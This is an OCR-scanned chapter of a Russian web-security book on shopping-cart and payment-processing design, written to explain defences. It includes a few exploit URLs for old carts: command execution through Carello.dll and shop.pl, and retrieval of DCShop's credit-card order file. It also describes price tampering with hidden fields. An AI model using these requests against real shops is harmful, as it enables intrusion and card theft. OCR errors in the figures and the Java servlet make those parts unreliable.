Резюме Web-серверы и системы управления базами данных составляют основу любого Web-приложения. Если вопросам обеспечения их безопасности не уделяется должного внимания, конфигурационные параметры этих систем со значениями, заданными по умолчанию, предоставляют хакерам массу возможностей и способов реализации атак. Изъяны имеются в таких Web-серверах, как IIS и Apache, однако обычно они имеют отношение ко внешним службам и связанным с ними программам, которые без проблем можно отключить. Уровень защищенности серверов Oracle и Microsoft SQL Server, установленных с параметрами по умолчанию, можно существенно повысить без ощутимого влияния на их функционирование в целом.
Глава 2. Web-серверы и серверы баз данных •
•
85
ГЛАВА 3
товаров и обработка платежей Вы покупаете не рыбу, а жизни людей. Вальтер Скотт (1771-1832)
Введение За годы своего существования розничная торговля заметно преобразилась. На заре появления магазинов владелец такого заведения находился за прилавком и отвечал на просьбы покупателя. Если необходимый товар был на полке, продавец давал его покупателю, позволяя рассмотреть поближе. Затем покупатель должен был сообщить, хочет ли приобрести его. Если да, товар откладывался, продавец выслушивал очередную просьбу и так происходило до тех пор, пока все нужные товары не были отложены, после чего владелец магазина мог подготовить окончательный счет и принять оплату. Конечно, если какой-либо товар покупателя не устраивал, продавец мог снова вернуть его на полку. Сегодня в большинстве магазинов клиенты могут самостоятельно выбирать товары. Покупатель может обратиться за помощью к кому-либо из консультантов, однако в целом товары представлены так, что с посещением магазинов и покупками не возникает никаких сложностей. Таким образом, магазины могут обеспечить массовое обслуживание покупателей, каждый из которых делает покупки индивидуально. В целом для покупателя процесс приобретения товаров заметно упростился. Такие факторы, как размещение товаров, расположение витрин, местоположение и ширина проходов между стеллажами в магазине, расположение контрольных касс, а также помощь со стороны обслуживающего персонала, имеют немаловажное значение в общей организации процесса продаж. Еще одним новшеством сферы розничной торговли стало появление так называемых "продаж по каталогам". Здесь на смену торговому залу пришел печатный каталог товаров и четко определенный способ оформления заказов по почте или телефону. Этот подход позволил торговым компаниям выйти на уровень обслуживания целого региона или целой страны без использования розничных магазинов. В каталогах на товар предлагались конкурентоспособные цены, поскольку отсутствовали накладные расходы на поддержку розничных магазинов, инвентаризацию товара, оплату труда персонала, планирование и материально-техническое снабжение. Для выполнения заказов использовалось несколько центральных складов и хорошо налаженная система доставки. С точки зрения покупателя, это была качественно новая ступень: покупки можно было приобретать, не выходя из дома. Электронная коммерция — это попытка объединения наиболее привлекательных сторон приобретения товаров как непосредственно в магазинах, так и с использованием каталогов. По сравнению с обычным каталогом Web-приложения предлагают значительно большие возможности для реализации диалога с покупателем. Кроме того, в дополнение к тривиальным тексту и картинкам они позволяют применить более широкий спектр рекламных трюков с использованием анимации, аудио- и видеоклипов. Все делается для того, чтобы привлечь внимание потенциальных клиентов и в конечном счете продать больше товара. По сути, успех интерактивных магазинов почти полностью зависит от "простоты" процесса приобретения покупок, чему в немалой степени способствуют чрезвычайно привлекательные формы представления электронной информации. Отправляясь в магазин, покупатели не придерживаются единой схемы выбора товаров и имеют различные потребности. Торговый зал магазина и его ассортимент на взгляд разных покупателей выглядят неодинаково (для одних более привлекательно, для других — менее). Поэтому самая сложная проблема, с которой сталкиваются электронные магазины, — это постараться угодить разнообразным потребностям и желаниям клиентов, находящихся по ту сторону Web-интерфейса. Да и товар покупатели выбирают по-разному. Например, кто-то в процессе перемещения по интерактивному магазину предпочитает собрать перед собой все выбранные покупки, однако до самого конца откладывает принятие окончательного решения. Возможно, другому покупателю больше нравится делать по одной покупке за один раз. Есть у покупателей собственные привычки и в отношении платежей. Хотя для оплаты розничных поку-
Глава 3. Выбор товаров и обработка платежей
87
пок большинством из них используются кредитные карточки, покупатели попрежнему любят расплачиваться наличными или чеком. И даже при использовании кредитных карточек покупатели, возможно, предпочитают карточки какой-то определенной компании. В системах электронной коммерции должны учитываться все эти потребности и предпочтения. По мере развития Web-приложений электронной коммерции некоторые технологии и компоненты стали стандартными для любого электронного магазина. В этой главе основное внимание уделяется двум важнейшим аспектам виртуальных магазинов — подсистемам выбора товара (торговым тележкам) и внешним системам обработки платежей. Цель данной главы — ознакомить читателя с несколькими наиболее важными концепциями и проблемами, связанными с обеспечением безопасности. Рассмотренный в этой главе материал будет использоваться при обсуждении атак на электронные магазины, описываемых в главе 10.
Эволюция торгового зала Проанализировав процесс развития розничной торговли, можно лучше понять роль того или иного компонента в структуре электронной коммерции. Начнем с рассмотрения традиционной модели розничной торговли. Ее основные элементы и их взаимосвязь показаны на рис. 3.1. Поку пятепь } „ ^-
\
Магазин От цел марк
(
Компания
xV-^
)
^
» ( Пос
VL
Финансовое чреждение^ _—"^ Рис. 3.1. Схема традиционной модели розничной торговли
В традиционной модели покупатели взаимодействуют с продавцом в торговом зале магазина. Его назначение заключается в демонстрации и, вообще говоря, хранении некоторого количества товаров, достаточного для удовлетворения потребностей покупателей в течение одного дня. В торговом зале клиенты могут рассчитаться за свои покупки, а если какие-то заказы покупателей нельзя выполнить непосредственно в самом магазине, то продавец обязан оформить заказ и его оплату. Затем такой заказ передается владельцу магазина для дальнейшей обработки. В целом процесс покупки и доставки организован примерно следующим образом. Сначала компания проверяет точность заказа и наличие требуемых товаров. Если все необходимые товары найдены, финансовый отдел компании обрабатывает платеж. После завершения обработки платежа компания взаимодействует со своими постав88
Часть I. Будни электронной коммерции
щиками и их товарным складом, чтобы приступить к отправке оплаченных товаров в соответствии с заказом. Помимо непосредственной продажи товаров, с розничной торговлей связано выполнение и многих других сопутствующих функций и операций. Например, необходимо осуществлять маркетинг, суть которого сводится к тому, чтобы выяснить, что же в первую очередь привлекает покупателей в магазин. По мере роста числа операций, объемов поставляемых товаров и потребностей в повышении эффективности предприятия розничной торговли начали использовать реализующие бизнес-логику транзакций и управление запасами программные приложения, которые были способны выполнять различные бизнес-процессы автоматически. Поскольку этот путь оказался для компаний розничной торговли весьма успешным, автоматизация различных процессов стала использоваться все более интенсивно. На рис. 3.2 показан рост уровня автоматизация предприятий благодаря применению вычислительной техники.
Рис. 3.2. Автоматизация с использованием компьютерной техники
Установленные в торговом зале компьютерные системы позволяют эффективно фиксировать и обрабатывать транзакции. В конце дня все заказы по электронным каналам связи передаются в корпоративную систему компании. Сюда же поступают обновленные данные от поставщиков и товарного склада, что помогает отслеживать запасы товаров. В свою очередь, компьютерные системы компании обычно взаимодействуют с банковскими компьютерами для пакетной обработки платежей. После завершения этой обработки заказы отсылаются поставщикам и на склад товаров для выполнения. Однако на этом процесс развития не заканчивается. По мере роста числа пользователей, имеющих доступ к Internet, и в результате развития серверов Webприложений возникла электронная розничная торговля (электронный бизнес, или электронная коммерция). Вместо автоматизации бизнес-процессов предприятия сами стали автоматизированными. Серверы приложений стали полностью поддерживать выполнение бизнес-логики в Internet и были способны взаимодействовать с бизнеспроцессами финансовых организаций и поставщиков. Средства Internet позволяют выполнять и служебные функции, например связанные с маркетингом. На смену обычным магазинам стали приходить электронные. Компании стали размещать свои магазины в Internet и напрямую обслуживать покупателей, которые взаимодействовали с электронными витринами через Web-броузер.
Глава 3. Выбор товаров и обработка платежей
89
В настоящее время всего за несколько минут можно оформить заказ, обработать платеж, обновить содержимое склада и приступить к выполнению заказов. При этом для успешного функционирования такой системы требуется лишь небольшое вмешательство со стороны человека-оператора. Модель электронной коммерции изображена на рис. 3.3.
Склад товаров
Маркетинг в Web
Финансовое 1 реждение^ Обработка транзакций Рис. 3.3. Модель электронной коммерции
Электронная коммерция Имея представление о модели электронной розничной торговли, рассмотрим процесс приобретения товаров в интерактивном магазине. Компании размещают свои виртуальные торговые площадки в качестве Web-приложений на Web-серверах. Такой Web-узел становится электронным "представительством" магазина в Internet. Покупатели "входят" в такой магазин, просматривая его Web-узел. Электронная витрина приглашает покупателя в мир виртуальных покупок, где они выбирают и приобретают товары. Электронный торговый зал взаимодействует с внешней системой обработки платежей (или каналом платежей), предоставляемой финансовым учреждением, и обеспечивает прием платежей. Кроме того, для обработки и выполнения заказов электронный магазин взаимодействует с корпоративными системами самой компании, а также системами поставщиков и программным обеспечением управления складом. При посещении электронного магазина (или Web-узла) покупатель просматривает различные товары, которые в нем продаются. Он знакомится с описанием товара, его ценой и решает, какое количество товара ему необходимо. Если покупатель решил приобрести тот или иной товар, ему необходимо "отложить" его до завершения виртуальной прогулки по магазину. Чтобы складывать выбранные товары в обычном магазине, покупатель использует торговую тележку до того момента, пока он не решит подойти к кассе. Современная электронная тележка (или, как ее иногда называют, корзина) аналогична обычной, которая прекрасно знакома каждому покупателю. В ней хранятся данные о выбранных товарах. Когда все необходимые товары выбраны, с использованием такой виртуальной тележки клиент может еще раз внимательно проанализировать свой выбор, а затем оплатить покупку. В электронных магазинах платежи клиентов обрабатываются через платежные системы, которые поддерживаются той финансовой организацией, где открыты банковские счета данного магазина. При этом должна обеспечиваться их необходимая настройка, которая предоставит возможность обслуживания различных потребностей клиентов. Платежной системой проверяется законность используемого покупателем средства
90
Часть I. Будни электронной коммерции
оплаты, а также выполняются действия, необходимые для обработки платежа и перевода соответствующей суммы на счет владельца магазина. На рис. 3.4 представлено взаимодействие покупателя с электронным магазином розничной торговли.
База данных
Рис. 3.4. Использование электронной торговой тележки и системы обработки платежей
Подсистемы выбора товаров Тележки в магазинах самообслуживания используются для удобства клиентов. Покупатель берет тележку в специально выделенном месте, находящемся рядом со стоянкой для автомашин или у входа в магазин. Далее он передвигается с тележкой по торговому залу и складывает в нее необходимые товары. Так происходит до тех пор, пока покупатель не решит подойти к контрольной кассе. Расплатившись и закончив перекладывать покупки в автомобиль, покупатель возвращает тележку на место. При посещении электронного супермаркета виртуальная корзина используется для достижения той же цели — облегчения процесса приобретения товаров. Чтобы разобраться с основными принципами реализации процесса выбора товаров, необходимо понять, как весь этот механизм функционирует.
Назначение и время жизни электронной торговой тележки Когда покупатель впервые заходит в электронный розничный магазин, с использованием специального приложения ему предоставляется виртуальная тележка. Она используется до тех пор, пока покупатель не разместит в ней все нужные товары и не покинет Web-узел
Глава 3. Выбор товаров и обработка платежей
91
данного магазина. После оформления заказа содержимое виртуальной корзины удаляется, а используемые ею ресурсы освобождаются. Поскольку в использовании торговой тележки больше нет необходимости, она "уничтожается" управляющим приложением.
Сбор, анализ и сравнение выбранных товаров Как и при использовании традиционной торговой тележки, с помощью электронной покупатель может выбрать нужные товары, проведя тщательный анализ предложений от различных производителей, и поместить их в корзину. Возможность "придержать" товары и "перевозить" их при передвижении по магазину позволяет экономить время, затрачиваемое на покупки. В противном случае покупателю пришлось бы оплачивать каждый товар сразу же после его выбора и лишь затем продолжать навигацию по виртуальному магазину. Кроме того, совершая покупки, можно в любой момент пересмотреть отобранные товары и сравнить их с другими предложениями.
Отслеживание общей стоимости Серьезное преимущество, которым обладает электронная торговая тележка по сравнению с традиционной, состоит в том, что она обеспечивает вывод на экран текущей общей стоимости товаров по мере их добавления. Таким образом, покупатель может отслеживать общую стоимость выбранных товаров и сравнивать ее со своими финансовыми возможностями.
Изменение решения Зачастую покупатель меняет решение о приобретении товара уже после его выбора. Если найден более подходящий или дешевый товар, чем тот, который уже содержится в корзине, то ранее выбранный товар можно заменить новым. Если окажется, что покупатель "не вписывается" в бюджет, то он может отказаться от каких-то уже выбранных товаров или приобрести их в меньшем количестве. Электронные тележки позволяют покупателю удалять и изменять количество ранее выбранных товаров.
Оформление покупки Электронная тележка помогает владельцу магазина выписывать итоговые счета. Благодаря тому что постоянно отслеживается общая стоимость выбранных товаров, системе контроля не требуется вычислять общую стоимость. Вместо этого просто выполняется подсчет налогов и дополнительных сборов, а затем генерируется итоговый счет, на основе которого и выполняется оплата. Таким образом, подсистема выбора товаров (электронная торговая тележка) является "сердцем" электронного магазина. Она связывает между собой покупателя, каталог, складскую и платежную системы. Некоторые подобные системы предоставляют покупателю рекомендации по выбору товаров, а также возможность "на лету" сравнить цены для ряда аналогичных продуктов. Как правило, электронные тележки реализуются на сервере. При использовании такой архитектуры клиент может возобновить процесс приобретения товаров с того же места, в котором по какой-либо причине был внезапно прекращен сеанс связи. Кроме того, если подсистема выбора товаров реализована в клиентской части приложения, она становится потенциальным кандидатом для осуществления краж в электронном магазине!
92
Часть I. Будни электронной коммерции
На рис. 3.5 и 3.6 показано, как электронную тележку можно объединить с каталогом товаров и как покупатель может отслеживать выбранные товары в процессе их приобретения. Scm»SWrts-OSa015
Acme Sllltts OS0014
100'ilol,,Hy Cotton Shifts
100% totally Cotton Slum
I Get a pair of Byfotil Socks UwwUhthhlpMcnase.
Get a Hint Tie Aw this purchase.
Acme Shlire-ftS8!>!№
S
100% Cotton Plain checks
TencelPolyeslei Mix SMltt
I Get a pak of Byfom Socks |tVe«wlMrchM«.
Styled to perfection.
Рис. З.5. Электронная тележка, объединенная с каталогом товаров То Update an item, change the quantity or options and click update. Click delete to remove an item from the cart. Options Price
Qty
Total
Update
Delete
(89.99 $89.99
TOTALS Sub Total
$89.99
Total
$89.99
Plus sales tax where applicable.
Click Here To Continue ShQppjnq
Рис. З.6. Содержимое торговой тележки
Реализация электронной тележки Как видно из рис. 3.7, для правильной реализации подсистемы выбора товаров (электронной тележки) необходимо объединить несколько различных компонентов. Во-первых, такое приложение нужно интегрировать с модулем управления сеансами, который служит для отслеживания процесса приобретения товаров конкретным покупателем. Во-вторых, модуль выбора товаров необходимо объединить с каталогом товаров, который обеспечивает вывод на экран информации о товарах электронного магазина и позволяет покупателю ее просматривать. Покупатель может выбрать из каталога какой-либо товар и поместить его в свою корзину. В-третьих, электронная корзина интегрирована с платежной системой, которая используется при оплате покупки. В-четвертых, торговая тележка связана с внутренними базами данных, например содержимого склада (для автоматической проверки и обновления данных по имеющемуся в наличии товару). В таких базах данных может содержаться также информация о покупателях и их предпочтениях и т.д.
Глава 3. Выбор товаров и обработка платежей
93
Покупатель Рис. 3.7. Основные принципы реализации электронной тележки
За время существования электронной розничной торговли было реализовано множество различных типов электронных тележек. Одни из них принадлежат, к категории общедоступного программного обеспечения с открытым исходным кодом, другие распространяются как коммерческие приложения от сторонних производителей. Несмотря на существование большого количества различных электронных тележек, реализация многих из них оказалась неудачной, что в конечном счете повлияло на информационную безопасность.
Каталог товаров Обычно в каталоге товаров содержится код товара, его описание, цена и некоторая дополнительная информация. Когда покупатель выбирает товар из каталога, он помещает его в свою корзину. Слабая интеграция каталога товаров и торговой тележки приводит к появлению различных изъянов в подсистеме безопасности. Например, если при выборе товара покупатель сможет манипулировать его ценой, то может произойти серьезная ошибка. Подобные атаки, направленные на приобретение товаров по сниженным ценам, более подробно рассматриваются в главе 10. Правильно реализованная подсистема выбора товаров взаимодействует с внутренней базой данных, в которых содержится информация о предлагаемых товарах. Такие параметры, как цены, извлекаются именно из такой базы данных, а не из полей HTML-формы, передаваемых между сервером и клиентом. Не менее важной является проверка количества приобретаемых товаров. Что случится, если покупатель разместит в торговой тележке отрицательное количество продуктов? И что произойдет, если будет введено дробное число?
Управление сеансами Еще один существенный аспект реализации электронной тележки — поддержка механизма управления сеансами. Совершая покупки в электронном супермаркете, каждый покупатель должен использовать свою собственную торговую тележку. Как и в традиционных магазинах, в электронном одновременно может обслуживаться множество покупателей. Недоработанный механизм управления сеансами может вызвать путаницу и привести к катастрофическим последствиям, особенно если кому-то из клиентов по ошибке придется оплачивать покупки кого-либо другого. Для контроля за операциями покупателей необходимо хорошо продумать серверную подсистему управления сеансами. Плохо спроектированная система может привести к захвату сеанса злоумышленниками или к утечке информации.
94
Часть I. Будни электронной коммерции
Интерфейс с базой данных Интерфейс между электронной тележкой и внутренними базами данных зачастую оказывается точкой приложения усилий хакеров. Если такой интерфейс реализован некорректно, злоумышленник может воспользоваться опасными SQL-запросами к базе данных и добиться нарушения безопасности системы. Хакер может также модифицировать промежуточные таблицы, в которых хранятся данные о сеансах и товарах, выбранных другими пользователями.
Взаимодействие с платежной подсистемой После завершения сеанса приобретения товаров все выбранные товары из тележки и соответствующий счет направляются на страницу, предназначенную для генерации счета-фактуры и обработки платежей. Плохо проработанный интерфейс взаимодействия в этой области может привести к фальсификации цен или вводу недопустимых значений (для количества товара). В таком виде информация будет передана подсистеме обработки платежей.
Примеры неудачно реализованных подсистем выбора товаров В этом разделе рассматриваются некоторые примеры, кратко иллюстрирующие те негативные последствия, к которым может привести некорректная реализация электронной тележки. Более полный обзор рассматриваемых здесь изъянов приводится в последующих главах, в частности в главе 10.
Электронная тележка Carello Электронная тележка Carello (http://www.carelloweb.com), поддерживаемая системой Windows NT, обладает изъяном, который позволяет удаленно выполнять команды с использованием протокола HTTP. В состав этого приложения входит компонент Carello.dll, используемый в процессе взаимодействия с клиентом. Добавив в специально сформированный адрес URL необходимые команды, взломщик может удаленно выполнить их на Web-сервере. Например, следующий URL обеспечивает выполнение на сервере команды dir: http://target/scripts/Carello/Carello.dll?CARELLOCODE=SITE2& VBEXE=C:\.. \winnt\system32\cmd. exe*20/c*20dir Полное описание этого изъяна можно найти по адресу: http://securitytracker.com/ alerts/2001/May/1001526.html.
Электронная тележка DCShop Электронная тележка DCShop (http://www.dcscripts.com/dcforum/dcshop/44.html) хранит временную информацию о заказах в виде незашифрованного текста в файле orders.txt. Этот файл находится в подкаталоге Order системы DCShop, и любой пользователь может извлечь его через протокол HTTP. В файле orders.txt содержатся все данные последних заказов покупателей, включая имена, адреса доставки, почтовые
Глава 3. Выбор товаров и обработка платежей
95
адреса, а также данные о кредитных карточках. Для реализации атаки достаточно воспользоваться следующим URL: http://target/cgi-bin/DCShop/Orders/orders.txt Полное описание этого недостатка можно найти по адресу: http://securitytracker.com/ alerts/2001/Jun/1001777.html.
Электронная тележка от Hassan Consulting Электронная корзина от компании Hassan Consulting (http://www.irata.cOm/ products.html) позволяет выполнять на сервере произвольные команды. Это приложение предназначено для системы Unix и разработано с использованием языка Perl. Сценарий shop.pl не обеспечивает фильтрации таких символов, как ; и |. Из-за этого удаленные пользователи могут вставлять в URL команды и передавать их на сервер. При этом используется следующий URL: http://target/cgi-local/shop.pl/SID=947626980.19094/page=;ls| Полное описание этого изъяна можно получить по адресу: http://securitytracker.com/ alerts/2001/Sep/1002379.html. •
Некоторые другие электронные тележки При реализации некоторых подсистем выбора товаров внутри исходного HTML-кода содержатся скрытые поля формы, используемые для хранения информации о товаре, его цене, весе, количестве и маркировке. Взломщик может сохранить Web-страницу с интересующим его товаром на своем компьютере и отредактировать исходный HTML-код, например изменить параметры данного товара, включая его цену. Полное описание этого недостатка можно найти по адресу: http://online.securityfocus.com/bid/1237.
Обработка платежей До сих пор речь шла о просмотре покупателем предлагаемого в электронном магазине ассортимента товаров и выборе тех из них, которые он хочет приобрести. Вся ответственность за реализацию данного процесса возложена на приложение каталога товаров и подсистему выбора товаров (торговую тележку). Теперь стоит подробно остановиться на процессе подсчета общей стоимости выбранных товаров и на том, как покупатели оплачивают свои покупки.
Окончательное оформление заказа Как только покупатель завершит выбор необходимых товаров и сообщит о том, что готов оплатить покупку, подсистеме обработки платежей передаются все необходимые сведения о заказе из торговой тележки покупателя. Для окончательного оформления заказа запрашивается также дополнительная информация: адрес и способ доставки, форма оплаты и т.д. При необходимости на этом этапе покупатель может пересмотреть сделанный заказ и внести в него изменения.
96
Часть I. Будни электронной коммерции
Форма оплаты Покупатель может воспользоваться несколькими вариантами оплаты покупки. Кредитные и дебетные карточки — это наиболее популярные методы оплаты покупок, независимо от того, совершаются они в традиционных или электронных магазинах. Все электронные системы обработки платежей производят расчеты как по кредитным карточкам, так и с помощью чеков.
Проверка подлинности и защита от мошенничества Подсистемы обработки платежей взаимодействуют с платежной системой финансового учреждения и обеспечивают проверку достоверности информации, указанной покупателем при оплате покупки. При использовании кредитных карточек система обработки платежей финансового учреждения проверяет номера кредитных карточек и конечный срок их действия, устанавливает подлинность владельца, определяет, не превышает ли общая стоимость покупок кредитовый остаток данной карточки, и т.д. На Web-узле электронного магазина подсистемой обработки платежей ведется подробный журнал регистрации всех транзакций, что позволяет обеспечить четкое взаимодействие с финансовым учреждением. Поддержка журналов регистрации в большинстве случаев обязательна, а для самих журналов необходимо обеспечить надежную защиту. Взломщик, получивший доступ к такому журналу, — это прямая угроза нарушения безопасности системы, идентификационных данных и средств обработки платежей. В дальнейшем их можно использовать в мошеннических махинациях.
Выполнение заказа и оформление торгового чека После того как платеж успешно обработан, платежная подсистема виртуального магазина подтверждает принятие заказа, а затем генерируется торговый чек для покупателя. В настоящее время такие приложения позволяют отправлять покупателям торговые чеки по электронной почте, а также сообщать о доставке оплаченного товара. Может также предоставляться сопроводительный номер, используемый службой доставки, чтобы покупатель мог самостоятельно отслеживать процесс доставки заказа.
Общие сведения о подсистеме обработки платежей На рис. 3.8 представлена схема типичного процесса обработки платежей для электронной коммерции. Тремя основными функциональными элементами подсистемы обработки платежей для электронного магазина являются модуль подтверждения заказа, модуль взаимодействия с платежной системой финансового учреждения и модуль взаимодействия с базой данных транзакций (рис. 3.9).
Современные способы борьбы с подделкой кредитных карточек Одна из самых популярных тем при обсуждении электронного бизнеса — это мошенничество с кредитными карточками. Практически каждый'день в новостях
Глава 3. Выбор товаров и обработка платежей
97
упоминается об инцидентах подобного рода. Еще большее число таких происшествий остается "за кадром". На современном рынке бытует миф о том, что безопасность кредитных карточек всецело зависит от протокола SSL. На самом деле в большинстве случаев этот протокол имеет весьма отдаленное отношение к подделке кредитных карточек. Между тем SSL-сеанс действительно является той преградой, которая не позволяет хакеру прослушивать сетевой трафик и извлекать конфиденциальную финансовую информацию, отправляемую покупателем в интерактивный магазин. Сегодня не зафиксировано ни одного случая мошенничества с кредитными карточками, когда злоумышленнику удалось бы взломать сеанс, шифруемый "ненадежным" 40-разрядным ключом протокола SSL, и похитить идентификационные данные покупателя. Более того, первая причина мошенничества с кредитными карточками в электронной коммерции связана с проникновением хакера в электронный магазин и получением им информации из базы данных транзакций. Несколько лет назад был разработан протокол Secure Electronic Transaction (SET). Этот протокол позволяет владельцу магазина не получать фактическую информацию о кредитных карточках. Согласно такой схеме в транзакции одновременно участвуют три стороны — покупатель, продавец и финансовое учреждение. Когда покупатель решает оплатить покупки, SET-система на его компьютере отправляет продавцу сообщение с точными данными о транзакции и копией цифрового сертификата покупателя. Никаких данных о кредитной карточке не сообщается. Затем продавец отсылает запрос своему финансовому учреждению, которое, в свою очередь, выполняет авторизацию в процессе взаимодействия с финансовым учреждением покупателя. При этом используются сведения о сертификате покупателя. Когда все формальности согласованы, платеж считается успешно произведенным. Таким образом, владелец магазина никогда не имеет дела с реальными данными кредитных карточек, и кража информации из системы продавца не влечет за собой мошенничества. Вместе с тем протокол SET не получил широкого распространения. В его основу была положена идеализированная модель, требующая от всех трех участников проекта поддержки инфраструктуры шифрования по открытому ключу (Public Key Infrastructure — PKI) и серьезного программного обеспечения. Чтобы добиться подобного результата, некоторые компании, предоставляющие кредитные карточки, применяют новую технологию, предусматривающую использование "разовых" кредитных карточек. Всякий раз, когда покупатель решает произвести платеж в интерактивном режиме, такая компания выпускает в обращение "виртуальную" кредитную карточку. Покупатель регистрируется на Web-узле компании, предоставляющей разовые кредитные карточки. Далее он вводит такие параметры, как сумма, которую необходимо будет уплатить, и срок действия платежа. В ответ генерируется номер "виртуальной" кредитной карточки, действительный только для одной транзакции. Этот номер связан с подлинной кредитной карточкой данного покупателя и сохраняется на протяжении всего срока использования. В дальнейшем вместо номера обычной кредитной карточки покупатель использует номер виртуальной карточки. С точки зрения продавца, виртуальная кредитная карточка обрабатывается точно так же, как и обычная. Финансовое учреждение, с которым взаимодействует интерактивный магазин, отправляет сообщение с результатами верификации и расчетных операций компании, предоставившей покупателю виртуальную кредитную карточку. Там определяется, является ли данная виртуальная карточка действующей и не превышает ли размер платежа той суммы, которая была указана покупателем. Остальные этапы обработки платежа выполняются обычном образом. Сразу же после использования виртуальная кредитная карточка аннулируется. Ее номер больше никогда не будет действителен. Если информация о виртуальной кредитной карточке будет похищена с Web-узла электронного магазина и взломщик попытается повторно ею воспользоваться, подделка легко обнаружит-
98
Часть I. Будни электронной коммерции
ся и, помимо отказа в выполнении транзакции, по факту мошенничества будет инициировано расследование. Компания Discover Financial Services, эмитент кредитных карточек однократного применения Discover (Single-Use Credit Card), использует именно такую модель. Эта компания предлагает покупателям также приложение Discover DeskShop, которое можно интегрировать с броузером и, таким образом, упростить быстрый "выпуск в обращение" разовых кредитных карточек с Web-узла Discover.com. Подробную информацию об этом подходе можно найти по адресу: http://www2. discovercard.com/shopcenter/deskshop/main.shtml. Основная схема использования разовых кредитных карточек представлена на рис. 3.8. Для окончательного оформления заказа у пользователя запрашивается номер кредитной карточки
Электронный магазин Платежная система (Страница приложения, запрашивающая номер кредитной карточки)
Передача номера временной кредитной карточки Discover
Покупатель
Пользователь запрашивает номер кредитной карточки Discover и требуемую сумму
Система генерирует для пользователя одну временную карточку
Финансовое учреждение Номер кредитной карточки одноразового использования Система генерации
Рис. 3.8. Использование разовой кредитной карточки Discover для оплаты покупок
Страница подтверждения заказа После того как покупатель решил оплатить товары, содержащиеся в электронной тележке, управление передается странице подтверждения заказа, где покупатель должен указать такую информацию, как номер кредитной карточки, свое имя, адрес и тип доставки, а также адрес, по которому нужно отправить счет.
Интерфейс системы обработки платежей финансового учреждения Каждый электронный магазин взаимодействует с платежной системой определенного финансового учреждения. Эта система предоставляет интерфейс, реализованный в виде программного компонента. Так, например, платежная система PayFlow Pro, разработанная компанией VeriSign, предоставляет множество таких компонентов, включая Java-объект, динамически подключаемую библиотеку DLL, поддерживающую технологию СОМ, а также совместно используемый модуль Unix.
Глава 3. Выбор товаров и обработка платежей
99
Вызов такого интерфейсного компонента выполняется из приложения, реализующего функции виртуального магазина. Этот компонент пересылает необходимую информацию системе обработки платежей финансового учреждения через канал, зашифрованный, например, с использованием протокола SSL. Кроме того, данный модуль возвращает приложению электронного магазина сообщение с кодом состояния транзакции. В таком сообщении указывается, была ли транзакция успешно выполнена, а также другая подробная информация. На основании полученного кода принимается решение о дальнейшей обработке заказа. .
Транзакция,
зашифрованная с использованием протокола SSL
Покупатель
Страница подтверждения заказа
Интерфейс системы обработки платежей
Интерфейс базы данных транзакций
Транзакция, зашифрованная с использованием протокола SSL
*П is 1
£
' HIHII,,,'
*5
Система обработки платежей сторонней
Финансовое Транзакция, \ учреждение зашифрованная с использованием протокола SSL
'
компании
Рис. 3.9. Основная архитектура подсистемы обработки платежей
Интерфейс базы данных транзакций После передачи информации о транзакции системе обработки платежей финансового учреждения данные о ней и результаты обработки записываются во внутреннюю базу данных электронного магазина для будущего использования. Необходимо тщательно спроектировать интерфейс базы данных транзакций, чтобы исключить любую возможность извлечения или искажения хакерами данных транзакции.
Пример взаимодействия с системой обработки платежей финансового учреждения Популярная система обработки платежей PayFlow Pro распространяется компанией VeriSign. Ее клиентская часть используется приложением электронного магазина и взаимодействует с серверами PayFlow Pro компании VeriSign. Клиент PayFlow Pro взаимодействует с серверами PayFlow Pro, передавая HTTP-запросы, зашифрованные с использованием SSL. В таком запросе содержатся различные параметры, необходимые для обработки транзакции.
100
Часть I. Будни электронной коммерции
В рассматриваемом примере интерфейс PayFlow Pro реализован с использованием сервлетов Java. В клиентской части Java-объект PayFlow Pro инкапсулируется в сервлете Java. На рис. 3.10 показано, как в Web-броузере выглядит страница, с помощью которой осуществляется взаимодействие с серверной частью системы PayFlow Pro.
Payment Gateway Interface Cart code Credit Card number Ц7 Expiry date (monthfyear)
r—j j—|
Рис. ЗЛО. Пример HTML-страницы, предназначенной для взаимодействия со службой PayFlow Pro
Представленный ниже фрагмент HTML взят из кода HTML-страницы, которая может использоваться для взаимодействия с системой обработки платежных транзакций PayFlow Pro и активизации клиентского компонента системы обработки платежей. Payment Gateway Interface
| Cart codeinput type=text name=SHOPCART size=6> |
| Credit Card numberinput type=text name=CARDNUM size=16x/td> |
Expiration date(month/year)
Ha HTML-странице содержится форма, которая обеспечивает запуск сервлета PFServlet (https://payment.example.com/servlet/PFServlet/). В свою очередь, сервлет PFServlet создает Java-объект PFPro, который и взаимодействует с системой обработки платежей PayFlow Pro. В форму HTML вводятся следующие параметры. Параметр Описание SHOPCART Код электронной корзины CARDNUM Номер кредитной карточки покупателя EXPMONTH Месяц истечения срока действия кредитной карточки EXPYEAR Год истечения срока действия кредитной карточки Электронная тележка каждого клиента имеет уникальный код. В сервлете PFServlet этот код используется для обработки всех товаров, помещенных в торговую тележку. В идеале код электронной тележки должен автоматически передаваться подсистеме обработки платежей электронного магазина из подсистемы управления сеансами приложения. Ниже приведен исходный код для сервлета PFServlet. import java.io*; import javax.servlet.*;
Глава З. Выбор товаров и обработка платежей
101
import javax.servlet.http.*; import com.Signio.PFProAPI; public class PFServlet extends HttpServlet { public void doGet (HttpServletRequest req, HttpServletResponse res) throws ServletException, lOException { PrintWriter out; PFProAPI pfObject « new PFProAPI(); String ver = pfObject.PNVersion)); // получение параметров формы HTML String EXPMONTH = reg.getParameter("EXPMOHTH"); String EXPYEAR = reg.getParameter("EXPYEAR"); String CARDNUH - reg.getParameter("CARDNUM")f String SHOPCART • reg.getParameter("SHOPCART") j String EXPDATE = EXPMONTH + EXPYEAR; // вычисление общей стоимости на основе содержимого торговой тележки String AMOUNT = CalculateTotalAmount(SHOPCART); // получение пользовательского идентификатора и пароля //из внутреннего хранилища String username * PFCredentials.getUserName(); String password = PFCredentials.getPassword(); // узел с системой обработки платежей PayFlowPro String HostAddress = "test.signio.com"; String HostPort = "443"; // формирование строки параметров для передачи системе PayFlow Pro String ParmList = "TRXTYPE=S&TENDER=C&USER" + username + "SPWD=" + password + "&ACCT=" + CARDNUM + "&EXPDATE=" + EXPDATE + "SAMT+" + AMOUNT +
